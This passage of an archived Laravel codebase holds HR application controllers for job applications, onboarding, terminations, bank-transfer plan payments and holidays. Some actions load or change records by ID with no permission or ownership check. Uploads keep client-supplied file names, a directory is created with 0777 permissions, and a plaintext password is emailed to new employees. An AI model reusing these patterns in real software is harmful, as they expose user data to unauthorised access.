\Auth::user()->creatorId())->first(); $job = new JobApplication(); $job->job = $request->job; $job->name = $request->name; $job->email = $request->email; $job->phone = $request->phone; $job->cover_letter = $request->cover_letter; $job->dob = $request->dob; $job->gender = $request->gender; $job->address = $request->address; $job->country = $request->country; $job->state = $request->state; $job->stage = $stage->id; $job->city = $request->city; $job->zip_code = $request->zip_code; $job->custom_question = json_encode($request->question); $job->created_by = \Auth::user()->creatorId(); if (!empty($request->profile)) { $image_size = $request->file('profile')->getSize(); $result = Utility::updateStorageLimit(\Auth::user()->creatorId(), $image_size); if ($result == 1) { $filenameWithExt = $request->file('profile')->getClientOriginalName(); $filename = pathinfo($filenameWithExt, PATHINFO_FILENAME); $extension = $request->file('profile')->getClientOriginalExtension(); $fileNameToStore = $filename . '_' . time() . '.' . $extension; $dir = 'uploads/job/profile'; $image_path = $dir . $filenameWithExt; $url = ''; $path = Utility::upload_file($request, 'profile', $fileNameToStore, $dir, []); $job->profile = !empty($request->profile) ? $fileNameToStore : ''; if ($path['flag'] == 1) { $url = $path['url']; } else { return redirect()->back()->with('error', __($path['msg'])); } } } if (!empty($request->resume)) { $image_size = $request->file('resume')->getSize(); $result = Utility::updateStorageLimit(\Auth::user()->creatorId(), $image_size); if ($result == 1) { $filenameWithExt1 = $request->file('resume')->getClientOriginalName(); $filename1 = pathinfo($filenameWithExt1, PATHINFO_FILENAME); $extension1 = $request->file('resume')->getClientOriginalExtension(); $fileNameToStore1 = $filename1 . '_' . time() . '.' . $extension1; $dir = 'uploads/job/resume'; $image_path = $dir . $filenameWithExt1; if (\File::exists($image_path)) { \File::delete($image_path); } $url = ''; $path = Utility::upload_file($request, 'resume', $fileNameToStore1, $dir, []); $job->resume = !empty($request->resume) ? $fileNameToStore1 : ''; if ($path['flag'] == 1) { $url = $path['url']; } else { return redirect()->back()->with('error', __($path['msg'])); } } } $job->save(); // return redirect()->route('job-application.index')->with('success', __('Job application successfully created.')); return redirect()->route('job-application.index')->with('success', __('Job application successfully created.') . ((isset($result) && $result != 1) ? '
' . $result . '' : '')); } else { return redirect()->route('job-application.index')->with('error', __('Permission denied.')); } } public function show($ids) { if (\Auth::user()->can('Show Job Application')) { $id = Crypt::decrypt($ids); $jobApplication = JobApplication::find($id); $notes = JobApplicationNote::where('application_id', $id)->get(); $stages = JobStage::where('created_by', \Auth::user()->creatorId())->get(); return view('jobApplication.show', compact('jobApplication', 'notes', 'stages')); } else { return redirect()->back()->with('error', __('Permission denied.')); } } public function destroy(JobApplication $jobApplication) { if (\Auth::user()->can('Delete Job Application')) { $jobApplication->delete(); if (!empty($jobApplication->profile)) { //storage limit $file_path = 'uploads/job/profile/' . $jobApplication->profile; $result = Utility::changeStorageLimit(\Auth::user()->creatorId(), $file_path); } if (!empty($jobApplication->resume)) { //storage limit $file_path = 'uploads/job/resume/' . $jobApplication->resume; $result = Utility::changeStorageLimit(\Auth::user()->creatorId(), $file_path); } return redirect()->route('job-application.index')->with('success', __('Job application successfully deleted.')); } else { return redirect()->route('job-application.index')->with('error', __('Permission denied.')); } } public function order(Request $request) { if (\Auth::user()->can('Move Job Application')) { $post = $request->all(); foreach ($post['order'] as $key => $item) { $application = JobApplication::where('id', '=', $item)->first(); $application->order = $key; $application->stage = $post['stage_id']; $application->save(); } } else { return redirect()->route('job-application.index')->with('error', __('Permission denied.')); } } public function addSkill(Request $request, $id) { if (\Auth::user()->can('Add Job Application Skill')) { $validator = \Validator::make( $request->all(), [ 'skill' => 'required', ] ); if ($validator->fails()) { $messages = $validator->getMessageBag(); return redirect()->back()->with('error', $messages->first()); } $job = JobApplication::find($id); $job->skill = $request->skill; $job->save(); return redirect()->back()->with('success', __('Job application skill successfully added.')); } else { return redirect()->route('job-application.index')->with('error', __('Permission denied.')); } } public function addNote(Request $request, $id) { if (\Auth::user()->can('Add Job Application Note')) { $validator = \Validator::make( $request->all(), [ 'note' => 'required', ] ); if ($validator->fails()) { $messages = $validator->getMessageBag(); return redirect()->back()->with('error', $messages->first()); } $note = new JobApplicationNote(); $note->application_id = $id; $note->note = $request->note; $note->note_created = \Auth::user()->id; $note->created_by = \Auth::user()->creatorId(); $note->save(); return redirect()->back()->with('success', __('Job application notes successfully added.')); } else { return redirect()->route('job-application.index')->with('error', __('Permission denied.')); } } public function destroyNote($id) { if (\Auth::user()->can('Delete Job Application Note')) { $note = JobApplicationNote::find($id); $note->delete(); return redirect()->back()->with('success', __('Job application notes successfully deleted.')); } else { return redirect()->route('job-application.index')->with('error', __('Permission denied.')); } } public function rating(Request $request, $id) { $jobApplication = JobApplication::find($id); $jobApplication->rating = $request->rating; $jobApplication->save(); } public function archive($id) { $jobApplication = JobApplication::find($id); if ($jobApplication->is_archive == 0) { $jobApplication->is_archive = 1; $jobApplication->save(); return redirect()->route('job.application.candidate')->with('success', __('Job application successfully added to archive.')); } else { $jobApplication->is_archive = 0; $jobApplication->save(); return redirect()->route('job-application.index')->with('success', __('Job application successfully remove to archive.')); } } public function candidate() { if (\Auth::user()->can('Manage Job OnBoard')) { $archive_application = JobApplication::where('created_by', \Auth::user()->creatorId())->where('is_archive', 1)->with('jobs')->get(); return view('jobApplication.candidate', compact('archive_application')); } else { return redirect()->back()->with('error', __('Permission denied.')); } } // -----------------------Job OnBoard-----------------------------_ public function jobBoardCreate($id) { $status = JobOnBoard::$status; $job_type = JobOnBoard::$job_type; $salary_duration = JobOnBoard::$salary_duration; $salary_type = PayslipType::where('created_by', \Auth::user()->creatorId())->get()->pluck('name', 'id'); $applications = InterviewSchedule::select('interview_schedules.*', 'job_applications.name')->join('job_applications', 'interview_schedules.candidate', '=', 'job_applications.id')->where('interview_schedules.created_by', \Auth::user()->creatorId())->get()->pluck('name', 'candidate'); $applications->prepend('-', ''); return view('jobApplication.onboardCreate', compact('id', 'status', 'applications', 'job_type', 'salary_type', 'salary_duration')); } public function jobOnBoard() { if (\Auth::user()->can('Manage Job OnBoard')) { $jobOnBoards = JobOnBoard::where('created_by', \Auth::user()->creatorId())->with('applications')->get(); return view('jobApplication.onboard', compact('jobOnBoards')); } else { return redirect()->back()->with('error', __('Permission denied.')); } } public function jobBoardStore(Request $request, $id) { $validator = \Validator::make( $request->all(), [ 'joining_date' => 'required', 'job_type' => 'required', 'days_of_week' => 'required|gt:0', 'salary' => 'required|gt:0', 'salary_type' => 'required', 'salary_duration' => 'required', 'status' => 'required', ] ); if ($validator->fails()) { $messages = $validator->getMessageBag(); return redirect()->back()->with('error', $messages->first()); } $id = ($id == 0) ? $request->application : $id; $jobBoard = new JobOnBoard(); $jobBoard->application = $id; $jobBoard->joining_date = $request->joining_date; $jobBoard->job_type = $request->job_type; $jobBoard->days_of_week = $request->days_of_week; $jobBoard->salary = $request->salary; $jobBoard->salary_type = $request->salary_type; $jobBoard->salary_duration = $request->salary_duration; $jobBoard->status = $request->status; $jobBoard->created_by = \Auth::user()->creatorId(); $jobBoard->save(); $interview = InterviewSchedule::where('candidate', $id)->first(); if (!empty($interview)) { $interview->delete(); } return redirect()->route('job.on.board')->with('success', __('Candidate succefully added in job board.')); } public function jobBoardUpdate(Request $request, $id) { $validator = \Validator::make( $request->all(), [ 'joining_date' => 'required', 'job_type' => 'required', 'days_of_week' => 'required', 'salary' => 'required', 'salary_type' => 'required', 'salary_duration' => 'required', 'status' => 'required', ] ); if ($validator->fails()) { $messages = $validator->getMessageBag(); return redirect()->back()->with('error', $messages->first()); } $jobBoard = JobOnBoard::find($id); $jobBoard->joining_date = $request->joining_date; $jobBoard->job_type = $request->job_type; $jobBoard->days_of_week = $request->days_of_week; $jobBoard->salary = $request->salary; $jobBoard->salary_type = $request->salary_type; $jobBoard->salary_duration = $request->salary_duration; $jobBoard->status = $request->status; $jobBoard->save(); return redirect()->route('job.on.board')->with('success', __('Job board Candidate succefully updated.')); } public function jobBoardEdit($id) { $jobOnBoard = JobOnBoard::find($id); $status = JobOnBoard::$status; $job_type = JobOnBoard::$job_type; $salary_duration = JobOnBoard::$salary_duration; $salary_type = PayslipType::where('created_by', \Auth::user()->creatorId())->get()->pluck('name', 'id'); return view('jobApplication.onboardEdit', compact('jobOnBoard', 'status', 'job_type', 'salary_type', 'salary_duration')); } public function jobBoardDelete($id) { $jobBoard = JobOnBoard::find($id); $jobBoard->delete(); return redirect()->route('job.on.board')->with('success', __('Job onBoard successfully deleted.')); } public function jobBoardConvert($id) { $jobOnBoard = JobOnBoard::find($id); $company_settings = Utility::settings(); $documents = Document::where('created_by', \Auth::user()->creatorId())->get(); $branches = Branch::where('created_by', \Auth::user()->creatorId())->get()->pluck('name', 'id'); $branches->prepend('Select Branch', ''); $departments = Department::where('created_by', \Auth::user()->creatorId())->get()->pluck('name', 'id'); $designations = Designation::where('created_by', \Auth::user()->creatorId())->get()->pluck('name', 'id'); $employees = User::where('created_by', \Auth::user()->creatorId())->get(); $employeesId = \Auth::user()->employeeIdFormat($this->employeeNumber()); return view('jobApplication.convert', compact('jobOnBoard', 'employees', 'employeesId', 'departments', 'designations', 'documents', 'branches', 'company_settings')); } public function jobBoardConvertData(Request $request, $id) { $validator = \Validator::make( $request->all(), [ 'name' => 'required', 'dob' => 'required', 'gender' => 'required', 'phone' => 'required', 'address' => 'required', 'email' => 'required|unique:users', 'password' => 'required', 'department_id' => 'required', 'designation_id' => 'required', 'document.*' => 'mimes:jpeg,png,jpg,gif,svg,pdf,doc,zip|max:20480', ] ); if ($validator->fails()) { $messages = $validator->getMessageBag(); return redirect()->back()->withInput()->with('error', $messages->first()); } $objUser = User::find(\Auth::user()->creatorId()); $total_employee = $objUser->countEmployees(); $plan = Plan::find($objUser->plan); if ($total_employee < $plan->max_employees || $plan->max_employees == -1) { $user = User::create( [ 'name' => $request['name'], 'email' => $request['email'], 'password' => Hash::make($request['password']), 'type' => 'employee', 'lang' => 'en', 'created_by' => \Auth::user()->creatorId(), ] ); $user->save(); $user->assignRole('Employee'); } else { return redirect()->back()->with('error', __('Your employee limit is over, Please upgrade plan.')); } if (!empty($request->document) && !is_null($request->document)) { $document_implode = implode(',', array_keys($request->document)); } else { $document_implode = null; } $employee = Employee::create( [ 'user_id' => $user->id, 'name' => $request['name'], 'dob' => $request['dob'], 'gender' => $request['gender'], 'phone' => $request['phone'], 'address' => $request['address'], 'email' => $request['email'], 'password' => Hash::make($request['password']), 'employee_id' => $this->employeeNumber(), 'branch_id' => $request['branch_id'], 'department_id' => $request['department_id'], 'designation_id' => $request['designation_id'], 'company_doj' => $request['company_doj'], 'documents' => $document_implode, 'account_holder_name' => $request['account_holder_name'], 'account_number' => $request['account_number'], 'bank_name' => $request['bank_name'], 'bank_identifier_code' => $request['bank_identifier_code'], 'branch_location' => $request['branch_location'], 'tax_payer_id' => $request['tax_payer_id'], 'created_by' => \Auth::user()->creatorId(), ] ); if (!empty($employee)) { $JobOnBoard = JobOnBoard::find($id); $JobOnBoard->convert_to_employee = $employee->id; $JobOnBoard->save(); } if ($request->hasFile('document')) { foreach ($request->document as $key => $document) { $image_size = $request->file('document')[$key]->getSize(); $result = Utility::updateStorageLimit(\Auth::user()->creatorId(), $image_size); if ($result == 1) { $filenameWithExt = $request->file('document')[$key]->getClientOriginalName(); $filename = pathinfo($filenameWithExt, PATHINFO_FILENAME); $extension = $request->file('document')[$key]->getClientOriginalExtension(); $fileNameToStore = $filename . '_' . time() . '.' . $extension; $dir = storage_path('uploads/document/'); $image_path = $dir . $filenameWithExt; if (!file_exists($dir)) { mkdir($dir, 0777, true); } $path = $request->file('document')[$key]->storeAs('uploads/document/', $fileNameToStore); $employee_document = EmployeeDocument::create( [ 'employee_id' => $employee['employee_id'], 'document_id' => $key, 'document_value' => $fileNameToStore, 'created_by' => \Auth::user()->creatorId(), ] ); $employee_document->save(); } } } $setings = Utility::settings(); if ($setings['new_employee'] == 1) { $user->type = 'employee'; $user->password = $request['password']; try { Mail::to($user->email)->send(new UserCreate($user)); } catch (\Exception $e) { $smtp_error = __('E-Mail has been not sent due to SMTP configuration'); } return redirect()->back()->with('success', __('Application successfully converted to employee.') . (isset($smtp_error) ? $smtp_error : '') . ((isset($result) && $result != 1) ? '
' . $result . '' : '')); } return redirect()->back()->with('success', __('Application successfully converted to employee.')); // return redirect()->back()->with('success', __('Application successfully converted to employee.') . ((isset($result) && $result != 1) ? '
' . $result . '' : '')); } function employeeNumber() { $latest = Employee::where('created_by', '=', \Auth::user()->creatorId())->latest()->first(); if (!$latest) { return 1; } return $latest->employee_id + 1; } public function getByJob(Request $request) { $job = Job::find($request->id); if ($job != null) { $job->applicant = !empty($job->applicant) ? explode(',', $job->applicant) : ''; $job->visibility = !empty($job->visibility) ? explode(',', $job->visibility) : ''; $job->custom_question = !empty($job->custom_question) ? explode(',', $job->custom_question) : ''; return json_encode($job); } } public function stageChange(Request $request) { $application = JobApplication::where('id', '=', $request->schedule_id)->first(); $application->stage = $request->stage; $application->save(); return response()->json( [ 'success' => __('This candidate stage successfully changed.'), ], 200 ); } public function offerletterPdf($id) { $users = \Auth::user(); $currantLang = $users->currentLanguage(); $Offerletter = GenerateOfferLetter::where(['lang' => $currantLang, 'created_by' => \Auth::user()->creatorId()])->first(); $job = JobApplication::find($id); $Onboard = JobOnBoard::find($id); $name = JobApplication::find($Onboard->application); $job_title = job::find($name->job); $salary = PayslipType::find($Onboard->salary_type); $obj = [ 'applicant_name' => $name->name, 'app_name' => env('APP_NAME'), 'job_title' => $job_title->title, 'job_type' => !empty($Onboard->job_type) ? $Onboard->job_type : '', 'start_date' => $Onboard->joining_date, 'workplace_location' => !empty($job->jobs->branches->name) ? $job->jobs->branches->name : '', 'days_of_week' => !empty($Onboard->days_of_week) ? $Onboard->days_of_week : '', 'salary' => !empty($Onboard->salary) ? $Onboard->salary : '', 'salary_type' => !empty($salary->name) ? $salary->name : '', 'salary_duration' => !empty($Onboard->salary_duration) ? $Onboard->salary_duration : '', 'offer_expiration_date' => !empty($Onboard->joining_date) ? $Onboard->joining_date : '', ]; $Offerletter->content = GenerateOfferLetter::replaceVariable($Offerletter->content, $obj); return view('jobApplication.template.offerletterpdf', compact('Offerletter', 'name')); } public function offerletterDoc($id) { $users = \Auth::user(); $currantLang = $users->currentLanguage(); $Offerletter = GenerateOfferLetter::where(['lang' => $currantLang, 'created_by' => \Auth::user()->creatorId()])->first(); // ['lang' => $currantLang,'created_by' => \Auth::user()->id] $job = JobApplication::find($id); $Onboard = JobOnBoard::find($id); $name = JobApplication::find($Onboard->application); $job_title = job::find($name->job); $salary = PayslipType::find($Onboard->salary_type); $obj = [ 'applicant_name' => $name->name, 'app_name' => env('APP_NAME'), 'job_title' => $job_title->title, 'job_type' => !empty($Onboard->job_type) ? $Onboard->job_type : '', 'start_date' => $Onboard->joining_date, 'workplace_location' => !empty($job->jobs->branches->name) ? $job->jobs->branches->name : '', 'days_of_week' => !empty($Onboard->days_of_week) ? $Onboard->days_of_week : '', 'salary' => !empty($Onboard->salary) ? $Onboard->salary : '', 'salary_type' => !empty($salary->name) ? $salary->name : '', 'salary_duration' => !empty($Onboard->salary_duration) ? $Onboard->salary_duration : '', 'offer_expiration_date' => !empty($Onboard->joining_date) ? $Onboard->joining_date : '', ]; $Offerletter->content = GenerateOfferLetter::replaceVariable($Offerletter->content, $obj); return view('jobApplication.template.offerletterdocx', compact('Offerletter', 'name')); } } Http/Controllers/TerminationController.php000064400000016520150364306410015045 0ustar00can('Manage Termination')) { if(Auth::user()->type == 'employee') { $emp = Employee::where('user_id', '=', \Auth::user()->id)->first(); $terminations = Termination::where('created_by', '=', \Auth::user()->creatorId())->where('employee_id', '=', $emp->id)->get(); } else { $terminations = Termination::where('created_by', '=', \Auth::user()->creatorId())->with(['employee', 'terminationType'])->get(); } return view('termination.index', compact('terminations')); } else { return redirect()->back()->with('error', __('Permission denied.')); } } public function create() { if(\Auth::user()->can('Create Termination')) { $employees = Employee::where('created_by', \Auth::user()->creatorId())->get()->pluck('name', 'id'); $terminationtypes = TerminationType::where('created_by', '=', \Auth::user()->creatorId())->get()->pluck('name', 'id'); return view('termination.create', compact('employees', 'terminationtypes')); } else { return response()->json(['error' => __('Permission denied.')], 401); } } public function store(Request $request) { if(\Auth::user()->can('Create Termination')) { $validator = \Validator::make( $request->all(), [ 'employee_id' => 'required', 'termination_type' => 'required', 'notice_date' => 'required', 'termination_date' => 'required|after_or_equal:notice_date', ] ); if($validator->fails()) { $messages = $validator->getMessageBag(); return redirect()->back()->with('error', $messages->first()); } $termination = new Termination(); $termination->employee_id = $request->employee_id; $termination->termination_type = $request->termination_type; $termination->notice_date = $request->notice_date; $termination->termination_date = $request->termination_date; $termination->description = $request->description; $termination->created_by = \Auth::user()->creatorId(); $termination->save(); $setings = Utility::settings(); if($setings['employee_termination'] == 1) { $employee = Employee::find($termination->employee_id); $uArr = [ 'employee_termination_name'=>$employee->name, 'notice_date'=>$request->notice_date, 'termination_date'=>$request->termination_date, 'termination_type'=>$request->termination_type, ]; $resp = Utility::sendEmailTemplate('employee_termination', [$employee->email], $uArr); return redirect()->route('termination.index')->with('success', __('Termination successfully created.'). ((!empty($resp) && $resp['is_success'] == false && !empty($resp['error'])) ? '
' . $resp['error'] . '' : '')); } return redirect()->route('termination.index')->with('success', __('Termination successfully created.')); } else { return redirect()->back()->with('error', __('Permission denied.')); } } public function show(Termination $termination) { return redirect()->route('termination.index'); } public function edit(Termination $termination) { if(\Auth::user()->can('Edit Termination')) { $employees = Employee::where('created_by', \Auth::user()->creatorId())->get()->pluck('name', 'id'); $terminationtypes = TerminationType::where('created_by', '=', \Auth::user()->creatorId())->get()->pluck('name', 'id'); if($termination->created_by == \Auth::user()->creatorId()) { return view('termination.edit', compact('termination', 'employees', 'terminationtypes')); } else { return response()->json(['error' => __('Permission denied.')], 401); } } else { return response()->json(['error' => __('Permission denied.')], 401); } } public function update(Request $request, Termination $termination) { if(\Auth::user()->can('Edit Termination')) { if($termination->created_by == \Auth::user()->creatorId()) { $validator = \Validator::make( $request->all(), [ 'employee_id' => 'required', 'termination_type' => 'required', 'notice_date' => 'required', 'termination_date' => 'required', ] ); if($validator->fails()) { $messages = $validator->getMessageBag(); return redirect()->back()->with('error', $messages->first()); } $termination->employee_id = $request->employee_id; $termination->termination_type = $request->termination_type; $termination->notice_date = $request->notice_date; $termination->termination_date = $request->termination_date; $termination->description = $request->description; $termination->save(); return redirect()->route('termination.index')->with('success', __('Termination successfully updated.')); } else { return redirect()->back()->with('error', __('Permission denied.')); } } else { return redirect()->back()->with('error', __('Permission denied.')); } } public function destroy(Termination $termination) { if(\Auth::user()->can('Delete Termination')) { if($termination->created_by == \Auth::user()->creatorId()) { $termination->delete(); return redirect()->route('termination.index')->with('success', __('Termination successfully deleted.')); } else { return redirect()->back()->with('error', __('Permission denied.')); } } else { return redirect()->back()->with('error', __('Permission denied.')); } } public function description($id) { $termination = Termination::find($id); return view('termination.description', compact('termination')); } } Http/Controllers/BankTransferController.php000064400000012455150364306410015137 0ustar00all(), [ 'payment_receipt' => 'required', ] ); if ($validator->fails()) { $messages = $validator->getMessageBag(); return redirect()->back()->with('error', $messages->first()); } $planID = \Illuminate\Support\Facades\Crypt::decrypt($request->plan_id); $plan = Plan::find($planID); $authuser = \Auth::user(); // $order = Order::where('plan_id' , $plan->id)->where('payment_status' , 'Pending')->first(); $order = Order::where('plan_id',$planID)->where('payment_status','Pending')->where('user_id',$authuser->id)->first(); if($order){ return redirect()->route('plans.index')->with('error', __('You already send Payment request to this plan.')); } $coupon_id = ''; if ($plan) { $price = $plan->price; if (isset($request->coupon) && !empty($request->coupon)) { $coupons = Coupon::where('code', strtoupper($request->coupon))->where('is_active', '1')->first(); if (!empty($coupons)) { $usedCoupun = $coupons->used_coupon(); $discount_value = ($plan->price / 100) * $coupons->discount; $price = $plan->price - $discount_value; if ($coupons->limit == $usedCoupun) { return redirect()->back()->with('error', __('This coupon code has expired.')); } $coupon_id = $coupons->id; } else { return redirect()->back()->with('error', __('This coupon code is invalid or has expired.')); } } $orderID = strtoupper(str_replace('.', '', uniqid('', true))); if (!empty($request->payment_receipt)) { $fileName = time() . "_" . $request->payment_receipt->getClientOriginalName(); $dir = 'uploads/order'; $path = Utility::upload_file($request, 'payment_receipt', $fileName, $dir, []); } Order::create( [ 'order_id' => $orderID, 'name' => null, 'email' => null, 'card_number' => null, 'card_exp_month' => null, 'card_exp_year' => null, 'plan_name' => $plan->name, 'plan_id' => $plan->id, 'price' => $price, 'price_currency' => !empty($payment_setting['currency']) ? $payment_setting['currency'] : 'USD', 'txn_id' => '', 'payment_type' => 'Bank Transfer', 'payment_status' => 'Pending', 'receipt' => $fileName, 'user_id' => $authuser->id, ] ); if (!empty($request->coupon)) { $userCoupon = new UserCoupon(); $userCoupon->user = $authuser->id; $userCoupon->coupon = $coupons->id; $userCoupon->order = $orderID; $userCoupon->save(); $usedCoupun = $coupons->used_coupon(); if ($coupons->limit <= $usedCoupun) { $coupons->is_active = 0; $coupons->save(); } } return redirect()->route('plans.index')->with('success', __('Plan payment request send successfully')); } else { return redirect()->route('plans.index')->with('error', __('Plan is deleted.')); } } public function action($id) { $order = Order::find($id); $user = User::find($order->user_id); $bank_details = Utility::getAdminPaymentSetting()['bank_details']; return view('order.show', compact('user', 'order', 'bank_details')); } public function changeaction(Request $request, $id) { if ($request->status == 'Approved') { $order = Order::find($request->order_id); $user = User::find($order->user_id); $pn = Plan::find($order->plan_id); $user->plan = $order->plan_id; $user->save(); $order->payment_status = 'Approved'; $order->save(); $assignPlan = $user->assignPlan($order->plan_id, $pn->duration); Utility::referralTransaction($pn , $user); return redirect()->route('order.index')->with('success', __('Plan payment successfully updated.')); } elseif ($request->status == 'Reject') { $order = Order::find($request->order_id); $order->payment_status = 'Rejected'; $order->save(); return redirect()->route('order.index')->with('success', __('Plan payment successfully updated.')); } } } Http/Controllers/HolidayController.php000064400000032117150364306410014145 0ustar00can('Manage Holiday')) { $holidays = LocalHoliday::where('created_by', '=', \Auth::user()->creatorId()); if (!empty($request->start_date)) { $holidays->where('start_date', '>=', $request->start_date); } if (!empty($request->end_date)) { $holidays->where('end_date', '<=', $request->end_date); } $holidays = $holidays->get(); return view('holiday.index', compact('holidays')); } else { return redirect()->back()->with('error', __('Permission denied.')); } } public function create() { if (\Auth::user()->can('Create Holiday')) { return view('holiday.create'); } else { return redirect()->back()->with('error', __('Permission denied.')); } } public function store(Request $request) { if (\Auth::user()->can('Create Holiday')) { $validator = \Validator::make( $request->all(), [ 'occasion' => 'required', 'start_date' => 'required', 'end_date' => 'required', ] ); if ($validator->fails()) { $messages = $validator->getMessageBag(); return redirect()->back()->with('error', $messages->first()); } $holiday = new LocalHoliday(); $holiday->occasion = $request->occasion; $holiday->start_date = $request->start_date; $holiday->end_date = $request->end_date; $holiday->created_by = \Auth::user()->creatorId(); $holiday->save(); // slack $setting = Utility::settings(\Auth::user()->creatorId()); if (isset($setting['Holiday_notification']) && $setting['Holiday_notification'] == 1) { // $msg = $request->occasion . ' ' . __("on") . ' ' . $request->start_date . ' ' . __("to") . ' ' . $request->end_date; $uArr = [ 'occasion_name' => $request->occasion, 'start_date' => $request->start_date, 'end_date' => $request->end_date, ]; Utility::send_slack_msg('new_holidays', $uArr); } // telegram $setting = Utility::settings(\Auth::user()->creatorId()); if (isset($setting['telegram_Holiday_notification']) && $setting['telegram_Holiday_notification'] == 1) { // $msg = $request->occasion . ' ' . __("on") . ' ' . $request->date . '.'; $uArr = [ 'occasion_name' => $request->occasion, 'start_date' => $request->start_date, 'end_date' => $request->end_date, ]; Utility::send_telegram_msg('new_holidays', $uArr); } // google calendar if ($request->get('synchronize_type') == 'google_calender') { $type = 'holiday'; $request1 = new GoogleEvent(); $request1->title = $request->occasion; $request1->start_date = $request->start_date; $request1->end_date = $request->end_date; Utility::addCalendarData($request1, $type); } //webhook $module = 'New Holidays'; $webhook = Utility::webhookSetting($module); if ($webhook) { $parameter = json_encode($holiday); // 1 parameter is URL , 2 parameter is data , 3 parameter is method $status = Utility::WebhookCall($webhook['url'], $parameter, $webhook['method']); if ($status == true) { return redirect()->back()->with('success', __('Holiday successfully created.')); } else { return redirect()->back()->with('error', __('Webhook call failed.')); } } return redirect()->route('holiday.index')->with('success', 'Holiday successfully created.'); } else { return redirect()->back()->with('error', __('Permission denied.')); } } public function show($id) { $holidays = LocalHoliday::where('id', $id)->first(); return view('holiday.show', compact('holidays')); } public function edit(LocalHoliday $holiday) { if (\Auth::user()->can('Edit Holiday')) { return view('holiday.edit', compact('holiday')); } else { return redirect()->back()->with('error', __('Permission denied.')); } } public function update(Request $request, LocalHoliday $holiday) { if (\Auth::user()->can('Edit Holiday')) { $validator = \Validator::make( $request->all(), [ 'occasion' => 'required', 'start_date' => 'required', 'end_date' => 'required', ] ); if ($validator->fails()) { $messages = $validator->getMessageBag(); return redirect()->back()->with('error', $messages->first()); } $holiday->occasion = $request->occasion; $holiday->start_date = $request->start_date; $holiday->end_date = $request->end_date; $holiday->save(); return redirect()->route('holiday.index')->with( 'success', 'Holiday successfully updated.' ); } else { return redirect()->back()->with('error', __('Permission denied.')); } } public function destroy(LocalHoliday $holiday) { if (\Auth::user()->can('Delete Holiday')) { $holiday->delete(); return redirect()->route('holiday.index')->with( 'success', 'Holiday successfully deleted.' ); } else { return redirect()->back()->with('error', __('Permission denied.')); } } // public function calender(Request $request) // { // if (\Auth::user()->can('Manage Holiday')) { // $holidays = LocalHoliday::where('created_by', '=', \Auth::user()->creatorId()); // $today_date = date('m'); // // $current_month_event = Holiday::select( 'occasion','start_date','end_date', 'created_at')->whereRaw('MONTH(start_date)=' . $today_date,'MONTH(end_date)=' . $today_date)->get(); // $current_month_event = LocalHoliday::where('created_by', \Auth::user()->creatorId())->select('occasion', 'start_date', 'end_date', 'created_at')->whereNotNull(['start_date', 'end_date'])->whereMonth('start_date', $today_date)->whereMonth('end_date', $today_date)->get(); // if (!empty($request->start_date)) { // $holidays->where('start_date', '>=', $request->start_date); // } // if (!empty($request->end_date)) { // $holidays->where('end_date', '<=', $request->end_date); // } // $holidays = $holidays->get(); // $arrHolidays = []; // foreach ($holidays as $holiday) { // $arr['id'] = $holiday['id']; // $arr['title'] = $holiday['occasion']; // $arr['start'] = $holiday['start_date']; // $arr['end'] = $holiday['end_date']; // $arr['className'] = 'event-primary'; // $arr['url'] = route('holiday.edit', $holiday['id']); // $arrHolidays[] = $arr; // } // // $arrHolidays = str_replace('"[', '[', str_replace(']"', ']', json_encode($arrHolidays))); // $arrHolidays = json_encode($arrHolidays); // return view('holiday.calender', compact('arrHolidays', 'current_month_event','holidays')); // } else { // return redirect()->back()->with('error', __('Permission denied.')); // } // } public function calender(Request $request) { if (\Auth::user()->can('Manage Holiday')) { $transdate = date('Y-m-d', time()); $holidays = LocalHoliday::where('created_by', '=', \Auth::user()->creatorId()); if (!empty($request->start_date)) { $holidays->where('start_date', '>=', $request->start_date); } if (!empty($request->end_date)) { $holidays->where('end_date', '<=', $request->end_date); } $holidays = $holidays->get(); $arrHolidays = []; foreach ($holidays as $holiday) { $arr['id'] = $holiday['id']; $arr['title'] = $holiday['occasion']; $arr['start'] = $holiday['date']; $arr['end'] = $holiday['end_date']; $arr['className'] = 'event-primary'; $arr['url'] = route('holiday.edit', $holiday['id']); $arrHolidays[] = $arr; } $arrHolidays = str_replace('"[', '[', str_replace(']"', ']', json_encode($arrHolidays))); return view('holiday.calender', compact('arrHolidays', 'transdate', 'holidays')); } else { return redirect()->back()->with('error', __('Permission denied.')); } } public function export(Request $request) { $name = 'holidays_' . date('Y-m-d i:h:s'); $data = Excel::download(new HolidayExport(), $name . '.xlsx'); return $data; } public function importFile(Request $request) { return view('holiday.import'); } public function import(Request $request) { $rules = [ 'file' => 'required|mimes:csv,txt', ]; $validator = \Validator::make($request->all(), $rules); if ($validator->fails()) { $messages = $validator->getMessageBag(); return redirect()->back()->with('error', $messages->first()); } $holidays = (new HolidayImport())->toArray(request()->file('file'))[0]; $totalholiday = count($holidays); $errorArray = []; foreach ($holidays as $holiday) { $holiydayData = LocalHoliday::whereDate('start_date', $holiday['start_date'])->whereDate('end_date', $holiday['end_date'])->where('occasion', $holiday['occasion'])->first(); if (!empty($holiydayData)) { $errorArray[] = $holiydayData; } else { $holidays_data = new LocalHoliday(); $holidays_data->start_date = $holiday['start_date']; $holidays_data->end_date = $holiday['end_date']; $holidays_data->occasion = $holiday['occasion']; $holidays_data->created_by = Auth::user()->id; $holidays_data->save(); } } if (empty($errorArray)) { $data['status'] = 'success'; $data['msg'] = __('Record successfully imported'); } else { $data['status'] = 'error'; $data['msg'] = count($errorArray) . ' ' . __('Record imported fail out of' . ' ' . $totalholiday . ' ' . 'record'); foreach ($errorArray as $errorData) { $errorRecord[] = implode(',', $errorData->toArray()); } \Session::put('errorArray', $errorRecord); } return redirect()->back()->with($data['status'], $data['msg']); } public function get_holiday_data(Request $request) { $arrayJson = []; if ($request->get('calender_type') == 'google_calender') { $type = 'holiday'; $arrayJson = Utility::getCalendarData($type); } else { $data = LocalHoliday::where('created_by', \Auth::user()->creatorId())->get(); foreach ($data as $val) { if (Auth::user()->type == 'employee') { $url = route('holiday.show', $val['id']); } else { $url = route('holiday.edit', $val['id']); } $end_date = date_create($val->end_date); date_add($end_date, date_interval_create_from_date_string("1 days")); $arrayJson[] = [ "id" => $val->id, "title" => $val->occasion, "start" => $val->start_date, "end" => date_format($end_date, "Y-m-d H:i:s"), "className" => $val->color, "textColor" => '#FFF', "allDay" => true, "url" => $url, ]; } } return $arrayJson; } } Http/Requests/Auth/LoginRequest.php000064400000007367150364306410013350 0ustar00 ['required', 'string', 'email'], 'password' => ['required', 'string'], ]; } /** * Attempt to authenticate the request's credentials. * * @return void * * @throws \Illuminate\Validation\ValidationException */ // public function authenticate() // { // 